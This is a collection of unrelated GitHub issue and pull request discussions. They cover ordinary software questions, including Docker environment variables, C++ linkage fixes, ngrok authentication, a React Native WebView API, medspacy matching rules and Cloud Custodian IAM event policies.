how can i forward env varriables to container??

 docker run -e "deep=purple" --rm mkenney/npm env
produces
LANGUAGE=C.UTF-8
...
SUDO_USER=root
SUDO_UID=0
SUDO_GID=0
`
but where is no "deep" environment varriable, what i do wrong???

Hi @luchnck,
It depends on what you're trying to do. The reason you can't see it with that command is that the image entrypoint runs in a subshell (to prevent writing files as root in Linux dev environments) so you're environment variable is set but the user that's running commands can't see it.
What are you trying to accomplish?

I want  to specify api server as proxy (another container witch ip assigns dynamicaly) in my webpackDevServer, but can't see it varriable in process.env in node

I think this is probably the wrong approach to what you want to do. The dynamic networking in docker is tricky and should be handled by docker. Instead, you should create a user-defined network and have your containers use it.
to create a network:
docker network create --driver bridge mynetwork

then when starting your containers, name them and attach them to the network
docker run -d --name myproxy --network mynetwork myimage/server
docker run -d --name myapp --network mynetwork myimage/app

Then you can just tell webpack to connect to myproxy and docker will do the DNS work for you.
You can also use docker-compose to start your applications and it will automate the networking for you.
Does that help?

Ok) I can't use env vars with ENTRYPOINT command, so, it must works if I pass varriable as argument of node script. I Will try, thanks for answers

I think this is probably the wrong approach to what you want to do. The dynamic networking in docker is tricky and should be handled by docker. Instead, you should create a user-defined network and have your containers use it.
to create a network:
docker network create --driver bridge mynetwork

then when starting your containers, name them and attach them to the network
docker run -d --name myproxy --network mynetwork myimage/server
docker run -d --name myapp --network mynetwork myimage/app

Then you can just tell webpack to connect to myproxy and docker will do the DNS work for you.
You can also use docker-compose to start your applications and it will automate the networking for you.
Does that help?

Yes, that's one of the way, may be it's more simple, but I used package.json->config features for specify my variables and run container with command:
docker run
--rm
-it
...
-e "PUID=500"
-e "PGID=500"
-p 3000:3000
mkenney/npm:latest npm
start --my-package:apiServer=http://$API_SERVER_ADDR`
May be it useful for somelse..
Thanks!
Closed

@luchnck,
You can override the entrypoint and the environment variables will work normally, but the PUID and PGID variables will be ignored and the user that runs the process will be root. That's usually ok with docker but it can make development a pain in linux when you have to sudo to delete files.
To remove the entrypoint completely, just add --entrypoint="", so this will work:
$ docker run --rm -ti --entrypoint="" -e "deep=purple" mkenney/npm env | grep deep
deep=purple

Or you can set it to something more applicable to your application, so in your example, this should work too:
docker run
--rm
-it
--entrypoint=npm
...
-e "PUID=500"
-e "PGID=500"
-e "API_SERVER_ADDR=<IP_ADDRESS>"
-p 3000:3000
mkenney/npm:latest
start --my-package:apiServer=http://$API_SERVER_ADDR

Yes, thanks for that decision!


[cpp-package] Fix multiple definition issue

Currently, if we include MxNetCpp.h in several .cpp files, linker will complains that there are multiple definition of mxnet.cpp functions, because of one definition rule.
This commit do several modifications to obey the one definition rule:

Add inline keyword to functions.
Get rid of global variable, use static class variable instead.
In optimizer.hpp, I delayed the registration of sgd optimizer to the first call of OptimizerRegistry::Find.
In kvstore.hpp, two callback functions (updater and controller) are now KVStore's static member functions. Also, extern "C" is removed because I think it is not necessary when the function is callbacked by function pointer (However, I'm not 100% sure on this point, please correct me if I'm wrong).

cc @lx75249 , thank you

I'm considering changing kvstore to singleton because current implementation will break when two kvstore instances are created. Or if we could make controller a dynamic function pointer which I don't believe is possible in C++. Either way, we don't need controller and updater to be static, right?

In order to let user create multiple KVStores, I pass *this into MXKVStoreRunServer as void *controller_handle (so we can access the KVStore in the callback function). However, I have not tested the  runtime behavior of the code so I'm not sure if this is a valid approach. (It seems there have no c++ example uses KVStore).
I will test the runtime behavior and correctness of these code when I have time.

Oops, it seem I totally misunderstood how is the "name" of KVStore being used. So it may make sense to let KVStore be singleton.

KVStore name is its type actually (like dist_sync and dist_async). I believe we don't need to support multiple KVStore instances..

So, if we implement KVStore as a singleton, user should use KVStore like this
KVStore::SetType("dist_sync");
KVStore::GetInstance()->Init(key, val);
KVStore::GetInstance()->RunServer();
KVStore::GetInstance()->Push(...);

Am I right?

Yes

So, the usage of KVStore now looks like this:
KVStore::SetType("local");
KVStore::Init(key, val);
NDArray retrieve = NDArray(Shape(2, 3), ctx_cpu, false);
KVStore::Pull(key, &retrieve);

I have tested the basic Push and Pull functionality, please tell me if everything looks fine, thank you very much.

Static class is different from singleton. For example, sometimes we need to test different kvstore implementations, and it's difficult to do it with static class. And I think static methods do not have external linkage, which is the main issue you want to solve in this pull request.

Static class is different from singleton. For example, sometimes we need to test different kvstore implementations, and it's difficult to do it with static class.

If we implement kvstore as singleton, isn't it also hard to test different implementations? I think I'm missing something here, I would appreciated it if you could give some example.

And I think static methods do not have external linkage,

They do have external linkage, since the static keyword do not presents when we "define" the methods.

which is the main issue you want to solve in this pull request

The main issue I want to solve is, currently, when user #include "MxNetCpp.h" in several .cpp files, the "definition" of those class methods and global variables defined in .hpp will repeatedly included in .o files. And since c++ only allow each function or object have "one definition", these duplicate definition will cause error when we link .o files together. The solution is to add inline keyword to allow same definition appears in different translation unit, otherwise user can never include mxnet.cpp in more than one .cpp file.

For example, to test another implementation, we just need to modify kv = KVStore::GetInstance() to kv = AnotherKVStore::GetInstance(), and the rest remains same.
For static methods, I'm not sure if they will create multiple definitions in serverl source files. If they don't, then there is no problem.

I tried to define another class called AnotherKVStore, and do this in my own .cpp (which includes MxNetCpp.h)
KVStore::SetType("local");
AnotherKVStore::SetType("local");

These codes work fine.

For static methods, I'm not sure if they will create multiple definitions in serverl source files. If they don't, then there is no problem.

Although these static methods create multiple definitions in several source files, they are inline, so more than one definition in the entire program is fine.

In this part,
KVStore::Init(key, val);
NDArray retrieve = NDArray(Shape(2, 3), ctx_cpu, false);
KVStore::Pull(key, &retrieve);

You need to replace all KVStore to AnotherKVStore, right?

If what you are worrying is that developer needs to modify many code to test new KVStore implementation, I think typedef can be used to solve this problem.
typedef KVStore kvs;
kvs::Init(key, val);
NDArray retrieve = NDArray(Shape(2, 3), ctx_cpu, false);
kvs::Pull(key, &retrieve);

Then we only need to change typedef KVStore kvs to typedef AnotherKVStore kvs to test new implementation.

@piiswrong This PR LGTM. Can you help merge it? Thank you!

@yajiedesign
http://ec2-52-25-96-65.us-west-2.compute.amazonaws.com/blue/organizations/jenkins/mxnet/detail/PR-5545/7/pipeline
Any idea why windows test is using NaiveEngine?

@piiswrong because this bug https://github.com/dmlc/mxnet/pull/5598, now it can change to ThreadEngine.

Could you do the fix? Or is it already done? @yajiedesign

@piiswrong ok fixed.and rebuild.

@piiswrong and please update branch


[WIP] PI-1585 Yak: Upgrade deps, add defer ack/nack

Description

Upgrade dependencies: Typescript 3, amqplib 0.5.3
Add defer function property to the 2nd handler argument ackFns for Receive, Subscribe, and ReceiveTypes. This allows synchronous handler functions which call out to async/promise-returning functions to only Ack the handled message once the asynchronous work completes, accomplished by calling defer before returning and then calling ack or nack in a callback or in a .then.

Usage example:
bus.Suscribe(type, subscriberName, (message, ackFns) => {
  ackFns.defer();
  someAsyncFunction(message).then(() => ackFns.ack());
});

TODO

[ ] Tests

Structuring it that way works for me, I'll change it.


Moving shell integration scripts to main branch

I thought I even filed an issue for this, so was pleasantly surprised to see the PR!
I might only suggest that now with such a move you can help people to avoid downloading it etc, but rather can ship them under sgpt/ within your sgpt python package, and just access from there. Proses:

"vetted" version would be installed instead of downloading a possibly compromised script from the web
you can craft shell-completion command alike we have e.g. in datalad and give users ability to just do source <(sgpt shell-completion) whenever they seek for selectively enabling it in the sessions where they needed it.

Resolved in https://github.com/TheR1D/shell_gpt/pull/455


[Feature]生成音频时能设置语速吗？

Feel free to ask any kind of questions in the issues page, but please use English since other users may find your questions valuable.
Is your feature request related to a problem? Please describe.
A clear and concise description of what the problem is. Ex. I'm always frustrated when [...]
Describe the solution you'd like
A clear and concise description of what you want to happen.
Describe alternatives you've considered
A clear and concise description of any alternative solutions or features you've considered.
Additional context
Add any other context or screenshots about the feature request here.

暂时不能，可以通过变更参考音频语速的方法实现。


How to update to the stable version?

I notice the plain report also list some unstable version (alpha, RC).
For example:
The following dependencies have later milestone versions:
 - androidx.appcompat:appcompat [1.3.1 -> 1.6.0-alpha04]
     https://developer.android.com/jetpack/androidx/releases/appcompat#1.6.0-alpha04
 - androidx.appcompat:appcompat [1.4.0 -> 1.6.0-alpha04]
     https://developer.android.com/jetpack/androidx/releases/appcompat#1.6.0-alpha04
 - androidx.lifecycle:lifecycle-viewmodel-savedstate [2.4.0 -> 2.5.0-rc01]
     https://developer.android.com/jetpack/androidx/releases/lifecycle#2.5.0-rc01
 - androidx.browser:browser [1.3.0 -> 1.4.0]
     https://developer.android.com/jetpack/androidx/releases/browser#1.4.0

How can I force this plugin to only check for update these stable version instead?
Update:
I notice there is a sample code snippet to only accept the stable version. Do you think can integrate it to your plugin?

The selection of acceptable versions is controlled by the versions plugin. The snippet you referenced is an example of such configuration.
It's a bit tricky to set this as a default from this plugin because I don't think there's a good way to detect if config is set on the versions plugin. Because it might depend on what are acceptable versions in a project (and versions could have all kinds of formatting), it's also tricky to have a good default set of configuration. A "stable" version could mean different things to different projects. Some projects might find a release candidate acceptable, others might not for example.
That said, maybe it would make sense to have some option to set defaults. The only question would be how those would be applied and which defaults would make the most sense.

Thanks @hvisser for quick reply.
I think the selection of acceptable version is an advanced configuration. So, it would be useful enough if you provide the a configuration (for example nonStableVersionPostfixes = ["-alpha", "-rc"]), then it's up to developer to tweak it.

This is actually linked in the README, but I suppose it can expanded a bit, added #45 for this.


Stack overflow in TransformIterable.iterator()

The hasNext() method in the anonymous class in the iterator() method in TransformIterable makes a recursive call to itself if an invalid item is encountered and skipInvalid is true. This means that a long run of invalid items will cause a StackOverflowError. The code should be replaced by a while loop that pulls from the source iterable until either a valid element is found (and so true is returned) or the source has no more items (and so false is returned).
An easy way to create this bug is to run:
public static void main(String[] args) {
    Set<Element> x = new HashSet<>();
    for (int i = 0; i < 10000; i++) {
        x.add(new Entity("G", "" + i));
    }
    ValidatedElements ve = new ValidatedElements(x, new View.Builder().build(), true);
    Iterator<Element> it = ve.iterator();
    while (it.hasNext()) {
        it.next();
    }
}

Merged into develop


[C++] Log just the number of nanoseconds within the second

Closing for now - we will reevaluate this PR in the context of some new features in FASTER C++ under development.


[Feature] Store batch proposal to disk on shutdown

🚀 Feature
Store the current proposal to DB on shutdown.
Currently when a node shutdowns/reboots while a batch proposal is still in progress, the proposal is dropped. Once the node restarts, it will need to generate a new proposal for the same round. Other nodes who see this new proposal will think the node is being malicious because each validator can't have more than one proposal per round.
This is really only meaningful if the other nodes have not progressed passed this round between the shutdown and reboot.
The solution is to store the pending batch proposal to disk on shutdown and reload it on bootup.

You'd want to also store the signatures that you've received for that proposal, because peers won't resign a proposal they've already seen. So just storing a proposal before it is broadcasted is not enough, you'd likely have to do it every time you receive a new signature as well.

Happy to tackle this one, just a few questions:

could we persist the proposal to a file instead? it's probably better suited for this use case
what should we do in case of a hard/unclean shutdown, then?

@ljedrz

Preferably the proposal goes to the same DB, in case the validator needs to migrate machines or directories. So a file is not ideal. We could store it as a blob in rocksDB.

I believe hard/unclean shutdowns could cause DB corruptions, so i believe this sufficient enough to be best effort.

Preferably the proposal goes to the same DB, in case the validator needs to migrate machines or directories. So a file is not ideal. We could store it as a blob in rocksDB.

I've taken an initial stab at it, and I have some issues with this approach:

a single-entry blob is somewhat odd in our DataMap-first setup; while not impossible to implement that way, I'd consider it "clunky"
trying to use a Proposal in the storage-service crate introduces a cyclic package dependency
if a validator migrates machines or directories, it would also migrate their ~/.aleo folder, so any file stored there wouldn't get lost; the storage itself is kept there after all

I believe hard/unclean shutdowns could cause DB corruptions, so i believe this sufficient enough to be best effort.

That shouldn't happen by design, because we're using atomic writes; we would have to deviate from that in order to cause a storage corruption.
Summing up: while it is possible to go around the cyclic dependency, it would either require a refactoring effort across a few crates, or a conversion between 2 different Proposal objects. I would still recommend using a single file instead.
Your call @raychu86.

The DataMap approach is still preferred for a unified storage.
We used to use the Blob (Vec<u8>) approach when storing rejected transactions - https://github.com/AleoHQ/snarkVM/commit/fa723a64b0a92afc48949595efef7c0618801bf3#diff-fd03badfe6a0b2934f728aec159249acfe3d2f4218f062f88edbb4191d28942cL87.

Ah yes, the value is not an issue, it's more the key that is not really meaningful for a single blob, and while it can be worked around, my only ideas are either things that would be weird at first glance (e.g. using the unit () as the key, or introducing a dedicated placeholder object).

@raychu86 can this be closed?


Ld 20221026 resource meta tag messing version and user selected

Please change the description to something more meaningful.

Set to draft status as version bust is required because:

Changes in the TagDefault entity
Changes in the IBaseCoding interface

Also core library version update is required because of changes in tinder plugin project

Great 👍 ghf


Epic: MPAS documentation

Create comprehensive MPAS system documentation for the end user.
Description
Existing project documentation is to be revised for correctness. Some links content missing.
Should we convert existing concept papers to end-user technical documentation? or keep this as an architecture concept document and create a new one?
Stories:

Related: https://github.com/open-component-model/ocm-website/issues/137

To Be done (Link related PRs/issues)

Make the documentation less complicated!
Make the page public

Not part of this epic: ~https://github.com/open-component-model/ocm-website/issues/106~

https://github.com/open-component-model/ocm-website/pull/163


Destructuring assignment type inference error

Bug Report

🔎 Search Terms

🕗 Version & Regression Information

TS version: 4.8.4
⏯ Playground Link

Playground link with relevant code
💻 Code

type T = {
  foo?: string;
};

const a: T = {foo: undefined};
const b = {foo: '', ...a};

🙁 Actual behavior

🙂 Expected behavior

The type of b should be:
{
  foo?: string;
}

There's no reason to infer foo be optional in b - there will always be a foo property, even if a doesn't have one, because you've provided it upfront.  The unsoundness here is that undefined is assignable to optional properties - you can enable exactOptionalPropertyTypes to prevent that.

btw this is not destructuring assignment - it’s a spread.  Destructuring is when you do
let { x, y } = point;
‘``

@fatcerberus Object spread only skips properties that haven't been defined, but it does not skip properties that have been defined to be undefined. Confusing, I know. The object ends up being { foo: undefined }, so the type string is wrong.
But I'm certain there's an existing issue for this that I can't find right now.

@MartinJohns Yes, I was aware.  Without exactOptionalPropertyTypes, optional properties can be set to undefined, but the type system still generally treats the property as if it’s either present-with-the-given-type or else non-present.  This is indeed unsound, but the fix is to enable exactOptionalPropertyTypes. 😄


CFFL

CFFL

Linter check found the following problems:
The following problems have been found:
ERROR: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:16: pip_install_args: pip install should be run with --no-deps.
ERROR: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:21: missing_wheel: For pypi packages, wheel should be present in the host section
ERROR: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:38: missing_documentation: The recipe is missing a doc_url or doc_source_url
ERROR: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:38: missing_license_family: The recipe is missing the about/license_family key.
ERROR: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:38: missing_dev_url: The recipe is missing a dev_url
WARNING: /tmp/abs_4drgv3_ln5/clone/recipe/meta.yaml:38: missing_description: The recipe is missing a description
Errors were found


ESS doesn't discharge battery to grid

Hi,
I've setup the ESS, charging goes well according to the calculated schedule.
Discharging is not going well, the ESS sets the setting "self-consumption above limit" to "PV" instead of "PV & Battery".
If I change it manually it starts to discharge, until the ESS resets the settings.
Furthermore, the discharging is limited to 300 Watts, while the limits are set to 2000 Watts. I can't find this eather.
Where can I modify this?
Regards, Marc

Yes it is with Node-red. It sets a schedule every 10 minutes and changes "self consumption above limit" to PV, so only PV is fed in the grid. If I select PV&Battery then it feeds in battery.

According to the dashboard it should be feeding in right now. Grid setpoint is set to negative number (-2000), schedule is active with SOC limit 10%. The only setting that prevents feeding in is the "self consumption above limit"-> PV instead of PV&Battery....
I'm also still finding out, but I'm stuck at some points.

What is the:

if that one is true, there is a schedule with a SOC setting and only from PV. My understanding is that when the 'set battery idle' is false no schedules should be enabled.
Also just found out: Charging battery from solar means: Grid Setpoint: 0 , Set battery idle: false

Rightnow it is feeding in (at the lowest price of the day...):
Grid setpoint (gs_min_max)
-0.6
Set battery idle
false
Enable Grid feed-in
true
I'll wait another 24 hrs tosee what happens and how the behaviour is.

I suspect there is no active schedule anymore?
I'm not sure how new your system is, but it seems some historical data in the VRM is needed ( I also only have 2 weeks of data now). I find the lower graph in the node-red dashboard with all the information (except prices) very informative. I'm not sure why the actions are not always the proposed actions, but that is a different issue ;-)

Correct, no active schedule right now. I'll see how it works next 24 hrs.
I still have to solve the issue that the maximum feedin is 300 watts. This is with and without node-red / ESS
I think I have to revert the Venus OS on the MP II GX to a 2.x version via an USB stick, but the MP keeps teling me that there is no firmware. Reverting via remote VRM  didn't do the trick.

As the MP II GX is the device that is inside the EasySolar II GX and I'm running V3.00 Large on my GX, I don't think a downgrade is necessary per sé.  There are Quite a lot settings that could influence the feed-in I think. Maybe you already know them, or you know more than I do, but I've found:

On the MP II you could check the Input current limit as this is also the output limit
There could be a BMS that is limiting the charge / discharge power (CCL / DCL)
In the Settings -> ESS there is an option to Limit inverter power
In the Settings -> ESS -> Grid feed-in there is an option for Maximum feed-in
In the Settings -> ESS there is an option for the Grid setpoint.

Yes I know them all and checked them all.
There is something different, because it worked ok until I installed a home assistant integration on my ha server that fiddled with the Victron. Since then discharge is limited till 300 watts. Integration has been removed but issue persists.

I tried that option, without result. I did veflash the firmware of the mp, without result. And some specific settings were not touched by these actions, what makes me think they are stored somewhere else, perhaps the gx section. That's why i want to revert the os.

Thanks, didn't see this before, I'll try tomorrow!

Result! That procedure did the trick. A lot of reconfiguration had to be done offcourse.... the hardest was to get dynamic Ess on node-red running again. I solved that by deleting the site in VRM and adding a new one.
Thanks for the help!


feat: add getNativeTag API

to allow communicating directly with webview from the native modules like so:
RCT_EXPORT_METHOD(runJS:(NSString* __nonnull)js
                  inView:(NSNumber* __nonnull)reactTag
                  withResolver:(RCTPromiseResolveBlock)resolve
                  rejecter:(RCTPromiseRejectBlock)reject) {
  RCTUnsafeExecuteOnMainQueueSync(^{
    RCTUIManager* uiManager = [self.bridge moduleForClass:[RCTUIManager class]];
    RNCWebView* webView = (RNCWebView*)[uiManager viewForReactTag:reactTag];
    if (webView) {
      [webView injectJavaScript:js];
    }
    resolve(@"OK");
  });
}

I understand it's not for normal use cases, but I needed it to improve performance by not passing large data through the JS side like images.
Please refer to the background behind this work here: https://dev.to/craftzdog/how-i-improved-my-react-native-app-50x-faster-5ffi
But it stopped working with the recent webview versions because it no longer exposes the ref of the native component.

Instead of adding getNativeTag, it can be also solved by exposing the ref of the native component.
So, it'd be something like getNativeRef?

Your finding that "recent webview versions... no longer exposes the ref of the native component" is curious... I assume you're seeing this changed with 11.22.0? But I would have expected the use of forwardRef there to preserve the previous behavior..

It was accessible with 11.16.0, since it was a class-based component and has webViewRef property here:
https://github.com/react-native-webview/react-native-webview/blob/v11.16.0/src/WebView.ios.tsx#L75

Thanks for the tip! Yeah, extending the native implementation for custom schemes sounds nice. I'll look into it.
However, it has to be handled in JS first in order to deal with other related information.
So, it would be so helpful to provide a way to access the native webview ref 🙏
Thanks again for your time!

Removed the change from .eslintrc.js, and changed the method from getNativeTag to getNativeWebView so that we don't have to directly refer to the undocumented property _nativeTag in the library.

What about WebView.windows.tsx?

Oops, added!

Would you please merge this? Thanks for your time and effort🙏

@craftzdog I still think it needs to be added to the types and documentation

Got it, I'll add them

added!

@craftzdog Alternatively, I wonder if getting the tag from an event would be sufficient? Although the Typescript types don't reflect it, it looks like it's generally available:

@TheAlmightyBob Whoa, that works🤯 I didn't know that! Amazing.
I guess you can close this PR. Thanks for letting me know!

@craftzdog Thanks for confirming it worked!


Want to use the section a span is in as part of tagger match.

I want to check for medication dosage frequency abbreviations only in the medications section of my document. The Matcher rules in Spacy say I can use syntax like:
   TargetRule("Dose Frequency Abbrev.", "DOSE_FREQUENCY", pattern=[{"TEXT": {"IN":["BID","PR","PRN","TOP","QID"],                                                              "_":{"section.category":"medications"}}}]),
The syntax  for using the "_" keyword in matches as described in the Spacy documenttion is:

However, even with  the Sectionizer in the pipeline and my confirming that manually entering for example: doc.ents[10]._.section.category displays the section category correctly, adding in  the target rule produces the error:

AttributeError: [E046] Can't retrieve unregistered extension attribute 'section.category'. Did you forget to call the set_extension method?

I think the problem is that "section" is the registered extended attribute, and its value is a section object that has the property "category", so "section.category" itself is not a recognized extended attribute.  Am I right?  If so, is there a way I can access this section property in a match rule?  Would it require a callback function or just some fancy syntax in the rule?

I see what you're trying to do, and I don't think you can do something like this in the matching syntax.
But luckily, we've also added an actual "section_category" attribute for token, so I think you should be able to just do {"_": {"section_category": "medications"}}. Could you try that and let me know if it works?

@abchapman93 just finished typing ahead of me and I think his answer was effectively the same as mine, but to elaborate just a little bit...
This error is occurring because section.category is not an attribute by itself. ent._.section returns a custom Section object, which has the attribute category. The getattr method called under the hood in the TargetMatcher looks directly at the Span for the attribute with the name section.category and does not do any searching for sub-attributes.
However, since we store a lot of important information in Section, we have registered all of the attributes spaCy attributes with names like section_category that accesses Section.category at the Token and Span levels.
Our example notebooks have not kept up with showing our additions to the extensions registered by our components, but we have all the extensions registered in one file here. This should show a complete list of the attributes available at all levels for the components included in this repository.
https://github.com/medspacy/medspacy/blob/master/medspacy/_extensions.py#L205

using {"_": {"section_category": "medications"}} works.   Thanks!


Update README.md

changes proposed by @shravan-das
please review @tusharzalte under #48

@tusharzalte

Yes
On Sat, May 27, 2023, 18:50 karthik nadar @.***> wrote:

@tusharzalte https://github.com/tusharzalte
—
Reply to this email directly, view it on GitHub
https://github.com/tusharzalte/tusharesume/pull/63#issuecomment-1565418802,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AVTK64MGQAXXUYABIMGDKG3XIH5S5ANCNFSM6AAAAAAYQ5FGH4
.
You are receiving this because you were mentioned.Message ID:
@.***>

@tusharzalte Please add a label

@ZapeeoSheikh Please add gssoc label to the issue as wel as the pr, its been many days, i have been requesting but no response


build: deny async-std and friends

rationale: some crates pull these in as default; hopefully these hints will require less cleanup-after and Cargo.lock file watching.
follow-up to #5848.

I failed to check (or parse the 5k line output): https://github.com/neondatabase/neon/actions/runs/6825817145/job/18564454476#step:11:63
error[banned]: crate 'async-channel = 1.9.0' is explicitly banned

I could set the --hide-inclusion-graph so the output would be readable. Trying that before removing the async-{channel,lock} deny.


Build Rails Micro Service for favorited recipes

Postgresql DB for storing recipe data
Basic Rails API only application
Will store all recipe information with the nutrient/health benefit  data with it

Need to add error handling and delete request as of 5/15
Deploy to Heroku and include CI/CD for deployment
Create README file with information on how to access endpoints properly and what responses from API will look like for the BE gateway


Doesn't set status on success

Hey! Cool module. In the readme you write

If it receives an Flux Standard Action whose payload is a future, it will fork and then either

dispatch a copy of the action with the resolved value of the future, and set status to success.
dispatch a copy of the action with the rejected value of the future, and set status to error.

I think that would be cool! [Currently an error field is set to true in a rejected case and no flag is set in the success case] future-fork

Hey! Cool module

Thanks :smile:
Flux-Standart-Action doesn't have a success flag. I will remove that comment to make it comply with that. I don't see a need for a success flag when you can check for a presence of an error.


⚠ Bofrost.be has degraded performance

In de61535, Bofrost.be (https://www.bofrost.be) experienced degraded performance:

HTTP code: 200
Response time: 999 ms

Resolved: Bofrost.be performance has improved in 2f3c869.


Write a playbook for installing a job server

The playbook should install the following:

PHP 7.2.
PHP ZTS (threading) enabled.
SupervisorD

Ref. for PHP 7.2 with ZTS support: https://gist.github.com/tegansnyder/ad32f2068e7e30d2692c06df32314ed4

Ref. for Supervisor install and config: https://stackoverflow.com/questions/45224707/install-and-configure-supervisord-on-centos-7-to-run-laravel-queues-permanently


[BEAM-8597] Allow TestStream trigger tests to run on other runners.

These can be run with, e.g.
python setup.py nosetests
--tests apache_beam.transforms.trigger_test:TestStreamTranscriptTest
--test-pipeline-options='--runner=FlinkRunner --environment_type=LOOPBACK ...'
A gradle target :sdks:python:test-suites:portable:py36:flinkTriggerTranscript has
been added, but fails due to [BEAM-8598].

Thank you for your contribution! Follow this checklist to help us incorporate your contribution quickly and easily:

[ ] Choose reviewer(s) and mention them in a comment (R: @username).
[ ] Format the pull request title like [BEAM-XXX] Fixes bug in ApproximateQuantiles, where you replace BEAM-XXX with the appropriate JIRA issue, if applicable. This will automatically link the pull request to the issue.
[ ] If this contribution is large, please file an Apache Individual Contributor License Agreement.

See the Contributor Guide for more tips on how to make review process smoother.

R: @liumomo315
This will also allow testing via the dataflow runner.

Run Python2_PVR_Flink PreCommit

Run Python PreCommit


Bug: npm run pagespeed on V3.0.0 branch may need authentication?

I'm not certain if this is desired behavior:
ERROR
Error: {"error_code":103,"status_code":502,"msg":"failed to start tunnel","details":{"err":"Only paid plans may bind custom subdomains.\nFailed to bind the custom subdomain '0bfa42b5-ddd8-489d-93fb-d031b06ed7aa' for an unauthenticated client.\nSign up at: https://ngrok.com/signup\n\nIf you have already signed up, make sure your authtoken is installed.\nYour authtoken is available on your dashboard: https://dashboard.ngrok.com\n\nERR_NGROK_305\n"}

@paul42 good catch, that shouldn't happen - would you mind researching why this doesn't work anymore?

Sure, do you know if it worked on a previous branch?

It definitely worked on v3 a few weeks ago, not sure why it doesn't anymore.

Got it!
The problem is that since v0.2 to use ngrok you need to have an account. (highly likely to battle abuse, see here /cc @inconshreveable)
Back when @callumlocke did the mass dependency upgrade (thanks again!) he also update ngrok from v0.1 to v0.2, which slipped under my radar. This broke both the npm run serve as well as the npm run pagespeed command.
I've reverted this change and fixed the problem in 40a230f, pull the newest version and npm install to have the two commands working again!


downgrade strip-ansi

Fixed: #2747, #3354
This PR made this issue that actually has been fixed in this PR.

Thanks.
I think we already have this in master.


API3 token update

API3 token has incorrect icon on our system
please update to use this one

@ashachaf
cannot find "API3" in the token registry.
Following info is needed to add it:
{
    "image": "https://storage.googleapis.com/bancor-prod-file-store/images/communities/aea83e97-13a3-4fe7-b682-b2a82299cdf2.png",
    "contract": "0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE",
    "symbol": "ETH",
    "name": "Ether",
    "precision": 18
  }

Updated eth-tokens-registry


Redact sensitive information from log output

Adds option to remove a list of strings from log output. Both access and refresh tokens are automatically included.
External users can specify their own strings to be redacted using the log builders or AddRedactStrs once a logger has been created.
/cc @jhernand

Those are definitely reasonable concerns, I'll simplify it modify values directly before printing as suggested.

Looks good, thanks @ethernetdan.


Added/updated UDS DAPA integrations with UCS API Gateway

This PR has a dependency on the changes in this UDS PR https://github.com/unity-sds/unity-data-services/pull/96
Removed dev and cumulus in variable names (clean up)
Defined /am-uds-dapa/collections/{collectionId} GET method integration
Defined /am-uds-dapa/collections/ POST method integration

@ramesh-maddegoda Per our discussion, UDS is now storing lambda function name in parameter store. See https://github.com/unity-sds/unity-data-services/pull/96/files since we need the function name in aws_lambda_permission. These changes have been tested and works for all 5 UDS DAPA endpoints. Caveat being UCS still needs to figure out the authorizer permission.

@ramesh-maddegoda Per our discussion, UDS is now storing lambda function name in parameter store. See https://github.com/unity-sds/unity-data-services/pull/96/files since we need the function name in aws_lambda_permission. These changes have been tested and works for all 5 UDS DAPA endpoints. Caveat being UCS still needs to figure out the authorizer permission.

@ngachung , I updated the code to automate the lambda invoke permission with commit https://github.com/unity-sds/unity-cs-infra/commit/8d7d01cd6dbb923c473d16188470e49c611828b7


pkg2appimage yml parsing error

pkg2appimage script runs into an error if the YML file is indented with Tabs.
The script specifically expects the file to be indented with 2 spaces.

The issue should be closed as the pull request is already merged..

Right. Next time, please write "Fixes #issue", that makes GitHub automatically close the issue. The word "Fix" does not trigger that functionality, apparently.


Rename "Previous" to "Next" when linking to step 4

Learn Build status updates of commit 496c997:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

WindowsServerDocs/remote/remote-access/vpn/always-on-vpn/deploy/vpn-deploy-ras.md
:white_check_mark:Succeeded

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the learn.microsoft.com contributor guidesPost your question in the Learn support channel

@robinharwood, @Xelu86
Can you review the proposed changes? IMPORTANT: When the changes are ready for publication, add a #sign-off comment to signal that the PR is ready for the review team to merge.
#label:"aq-pr-triaged"
@MicrosoftDocs/public-repo-pr-review-team

Hi @Sm0keySa1m0n, thanks for the contribution. I'm closing this PR for the moment as we actually have some other updates planned for this article. I've passed on your change to the team for their awareness during those updates.
Thanks once again,
Robin


missing example data

Hi,
In example xgboost_example.py, the required data ../input/train.csv is missing.

Thanks for pointing that out. This example was based on a Kaggle competition, so I'll make sure to mention that and direct people to where they can download the data.

Problem solved in 1.0 release branch.


iam-role resource can not be triggered on when events don't have roleId available

This issue is similar to issue #1480, but I'm providing additional details and use cases.
I'm looking to alert on when policies are events when a policy (both managed and inline) are attached to a role or added to an instance profile. Basically for a production environment we want to be alerted if someone is trying to elevate access to their instance profile or IAM role by adding additional IAM policies to it. We would like to trigger on the following events:

AttachRolePolicy
DetachRolePolicy
PutRolePolicy
UpdateAssumeRolePolicy
AddRoleToInstanceProfile
DeleteRolePolicy

Here's a snippet of what I thought would work (only have 3 events as an example:
policies:
- name: iam-role-update-detected
  resource: iam-role
  description: |
    Notifies on IAM Role Updates to IAM Role Policies (Managed and Inline)
  mode:
     type: cloudtrail
     role: arn:aws:iam::123456:role/CustodianLambdaRole
     events:
      - event: AttachRolePolicy
        source: iam.amazonaws.com
        ids: "requestParameters.roleName"
      - event: PutRolePolicy
        source: iam.amazonaws.com
        ids: "requestParameters.roleName"
      - event: AddRoleToInstanceProfile
        source: iam.amazonaws.com
        ids: "requestParameters.roleName"
  actions:
    - type: notify
      template: default.html
      priority_header: 1
      subject: "IAM Role Policy Update Detected in [custodian {{ account }}]"
      violation_desc: "IAM Role Policy Updates Detected"
      action_desc: |
        "Please investigate and notify the appropriate account owners to remediate this risk."
      to:
        -<EMAIL_ADDRESS>      transport:
        type: sqs
        queue: https://sqs.us-east-1.amazonaws.com/123456/CustodianNotifications
        region: us-east-1

The following does not work for several reasons:

The ids for the iam-role resource only works if you use roleId which isn't present in any of the events above
I could change the resource for the Custodian rule to iam-policy and change the ids to requestParameters.policyArn. But that will return the iam-policy resource and I really want to know which iam role was affected. It doesn't help me to just know the policy and not the iam-role that it was attached to.

policies:
